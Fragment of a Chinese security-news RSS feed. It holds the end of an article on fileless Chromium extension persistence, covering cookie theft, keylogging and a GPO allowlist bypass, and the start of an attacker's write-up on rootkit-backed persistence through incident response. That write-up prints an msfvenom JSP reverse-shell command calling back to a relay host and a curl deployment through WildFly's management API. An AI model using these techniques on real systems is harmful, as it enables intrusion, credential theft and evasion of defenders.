2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">从后渗透角度来看，GAP 特别有用，因为：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">stomp 之后磁盘上任何时候都没有恶意文件。</span></strong><p><span leaf="">唯一的制品是 B 的良性文件夹，内含空脚本和 manifest。静态分析得不到任何东西。</span></p></li><li style="margin: 15px 0px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">没有新进程。</span></strong><p><span leaf="">service worker 在 Edge 现有的渲染器进程基础设施内执行，与合法扩展活动无法区分。</span></p></li><li style="margin: 15px 0px;"><strong style="margin-top: 0px;"><span leaf="">通过标准 HTTPS 的 C2。</span></strong><p><span leaf="">流量归属于 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">msedge.exe</span></code><span leaf="">，混入正常浏览器活动中。</span></p></li><li style="margin: 15px 0px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">经受一切考验。</span></strong><p><span leaf="">浏览器重启、系统重启、浏览器更新——全部验证通过。</span></p></li><li style="margin: 15px 0px;"><strong style="margin-top: 0px;"><span leaf="">在 AD + GPO 环境中有效。</span></strong><p><span leaf="">结合 stomp 的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">--spoof</span></code><span leaf="">选项，GAP 绕过通过组策略强制执行的扩展白名单策略。</span></p></li><li style="margin: 15px 0px 0px;"><strong style="margin-top: 0px;margin-bottom: 0px;"><span leaf="">无需管理员权限。</span></strong><p><span leaf="">在攻击链的每个阶段，标准用户权限就足够了。</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在后台 service worker 中运行的 agent 可以访问：cookie 窃取（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">chrome.cookies.getAll()</span></code><span leaf="">）、键盘记录、截图捕获（</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">tabs.captureVisibleTab()</span></code><span leaf="">）、凭据窃取、网络代理，以及通过 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">scripting.executeScript()</span></code><span leaf="">动态注入内容脚本——这就是无需任何静态文件依赖即可投递页面级载荷的方式。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">负责任披露</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">2026 年 4 月 2 日向 Microsoft MSRC 提交了漏洞报告（Case <a class="wx_topic_link" topic-id="msg1x9dw-5hpwsw" style="color: #576B95 !important;" data-topic="1" data-recommend="">#112111</a>）。Microsoft 确认并进行了调查。他们的评估是：该技术未达到安全更新的门槛，理由是需要本地访问权限作为前提。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">关于前提条件这一点确实合理——但在受信任浏览器进程内运行的无文件、EDR 规避持久化原语，在企业环境中是一个有意义的后渗透风险。修复方案很简单：在 ScriptCache 条目及其对应的文件系统制品之间实现内容完整性验证。</span></p><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); " data-pm-slice="2 2 []"><span leaf="">POC</span></h2><p nodeleaf=""></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-top: 15px;margin-right: 0px;margin-left: 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);margin-bottom: 0px !important;"><p style="margin: 0px 0px 15px;"><span leaf="">免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。</span></p></blockquote><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://fir3n0x.github.io/posts/GAP-Ghost-Anchor-Persistence-Fileless-Extension-Persistence-in-Chromium-Browsers/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=55680e61&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAxODM5ODQzNQ%3D%3D%26mid%3D2247496813%26idx%3D1%26sn%3Db602762f031fee74d6442ce557da5694">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 06 Aug 2026 13:26:00 +0800</pubDate>
    </item>
    <item>
      <title>三层隐蔽持久化：C2 HTTPS 隧道 + LKM Rootkit + LD_PRELOAD</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAxODM5ODQzNQ==&amp;mid=2247496813&amp;idx=2&amp;sn=95541ba4251dbc5686dab7bb78dc8e98</link>
      <description>一套三层持久化架构（C2 HTTPS 隧道 + Diamorphine LKM + LD_PRELOAD rootkit）在一次完整事件响应中幸存，管理员重置 8 台服务器后骨干节点依然在线。</description>
      <content:encoded><![CDATA[<p><span>reeshasx</span> <span>2026-08-06 13:26</span> <span style="display: inline-block;">中国澳门</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=853659ac&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fh4gtbB74nShBuAHMOZmPO0cw1mnWG5VYaZ4DxdCmyJqAuah1aL90IaCv3brJqwgcfanclMxINNDYhDVuJnbta4KbasvkclA8ECpIjRCNf4Q%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>一套三层持久化架构（C2 HTTPS 隧道 + Diamorphine LKM + LD_PRELOAD rootkit）在一次完整事件响应中幸存，管理员重置 8 台服务器后骨干节点依然在线。</p>
  <table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">原文链接</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">作者</span></p></th></tr></thead><tbody><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf=""><a href="https://pwnd.blog/article/triple-layer-stealth-persistence" target="_blank">https://pwnd.blog/article/triple-layer-stealth-persistence</a></span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">@reeshasx</span></p></td></tr></tbody></table><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">一套三层持久化架构（C2 HTTPS + Diamorphine LKM + LD_PRELOAD rootkit），在一次完整的事件响应中幸存。管理员重置了 8 台服务器，骨干节点依然在线。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">0x00 持久化的问题</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">谁都经历过这种事。你拿到一个目标的访问权限，配好反向 shell，坐下来准备干活，结果 2 小时后管理员重置了一切。凭据轮换了，进程被杀了，日志清了。一切从零开始。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这很令人沮丧，但这就是大多数渗透测试项目的现实。初始访问很容易。维持访问才是真正的问题。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这篇文章讲的是一个例外。我搭建了一套三层持久化架构，在一次完整的事件响应中幸存了下来。管理员检测到了活动，重置了大约 8 台服务器，轮换了所有凭据，但骨干节点自始至终保持在线。靠的是架构设计的好。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">三层中的任何一层都不是为了单独隐形而设计的。思路是每一层覆盖前一层的主要弱点。如果一层被发现，其余层仍然可以维持访问。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">0x01 场景</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">混合企业环境：Linux 承担重活，Windows Server 2016 作为 AD DC，SQL Server，WildFly 跑 Java 应用，PostgreSQL 做后端。目标有 SOC，终端装了 Kaspersky Endpoint Security，Kaspersky Security Center 作为中央控制台。虽然 KSC 的许可证过期了，但终端上 EDR 仍然在运行。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">挑战是：在这样一个环境中，明知 SOC 迟早会检测到你，如何维持访问？</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">简短的回答：不要把一件东西藏好。把三件东西用不同的方式藏起来，让蓝队不得不打赢三场独立的赛跑。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">三层架构概述：</span></p><table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">层级</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">功能</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">绕过的检测</span></p></th></tr></thead><tbody><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">C2 HTTPS 隧道</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">伪装成 web 流量的反向 shell</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">出站过滤, IDS, DPI</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: rgb(248, 248, 248);margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">Diamorphine LKM</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">向内核撒谎以隐藏进程和文件</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">ps, htop, auditd, rkhunter</span></p></td></tr><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">LD_PRELOAD rootkit</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">向用户态撒谎以隐藏文件</span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">ls, find, cat, 文件系统取证</span></p></td></tr></tbody></table><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">[ 0x02 ] 如何进入 — WILDFLY JMX CONSOLE</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在搭建三层架构之前，我得先进入目标。初始向量是 WildFly。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">WildFly 是一个 Java 应用服务器。管理控制台在 9990 端口，在这个案例中它直接暴露在没有反向代理的保护下。凭据很弱，不是默认密码，但属于那种出现在任何企业字典里的类型。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">WildFly 的特别之处在于：管理控制台允许你通过 API 部署 WAR 文件。WAR 是一个 Java web 包。如果你把一个 JSP 反向 shell 放进 WAR 里，然后通过 management API 部署，你就获得了以 WildFly 运行用户身份的 RCE。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf=""># 生成带 reverse shell 的 WAR</span><br/><span leaf="">msfvenom -p java/jsp_shell_reverse_tcp LHOST=&lt;relay&gt; LPORT=443 -f war -o shell.war</span><br/><span leaf=""># 通过 management API 部署</span><br/><span leaf="">curl -u &lt;user&gt;:&lt;senhinha&gt; -X POST \</span><br/><span leaf="">  <a href="http://target:9990/management" target="_blank">http://target:9990/management</a> \</span><br/><span leaf="">  -H &#34;Content-Type: application/json&#34; \</span><br/><span leaf="">  -d &#39;{&#34;operation&#34;:&#34;add&#34;,&#34;address&#34;:[{&#34;deployment&#34;:&#34;shell.war&#34;}],&#34;content&#34;:[{&#34;url&#34;:&#34;file:///tmp/shell.war&#34;}],&#34;json.pretty&#34;:1}&#39;</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">额外收获：管理控制台会显示已配置的 datasource，凭据是明文的。</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">PostgreSQL DS: postgres/prod@app<a class="wx_topic_link" topic-id="msg1t18n-0nhknk" style="color: #576B95 !important;" data-topic="1" data-recommend="">#all</a>@&lt;ip&gt;:</span><span style="color: rgb(0, 92, 197);"><span leaf="">5432</span></span><span leaf="">/&lt;table&gt;</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">你不需要读取文件就能看到数据库密码。WildFly 把这些保存在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">standalone.xml</span></code><span leaf="">里，设计上就是明文。这不是 bug，是 feature。不过我怀疑这不是管理员想要的 feature。至少对我来说是一个绝妙的 feature。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: 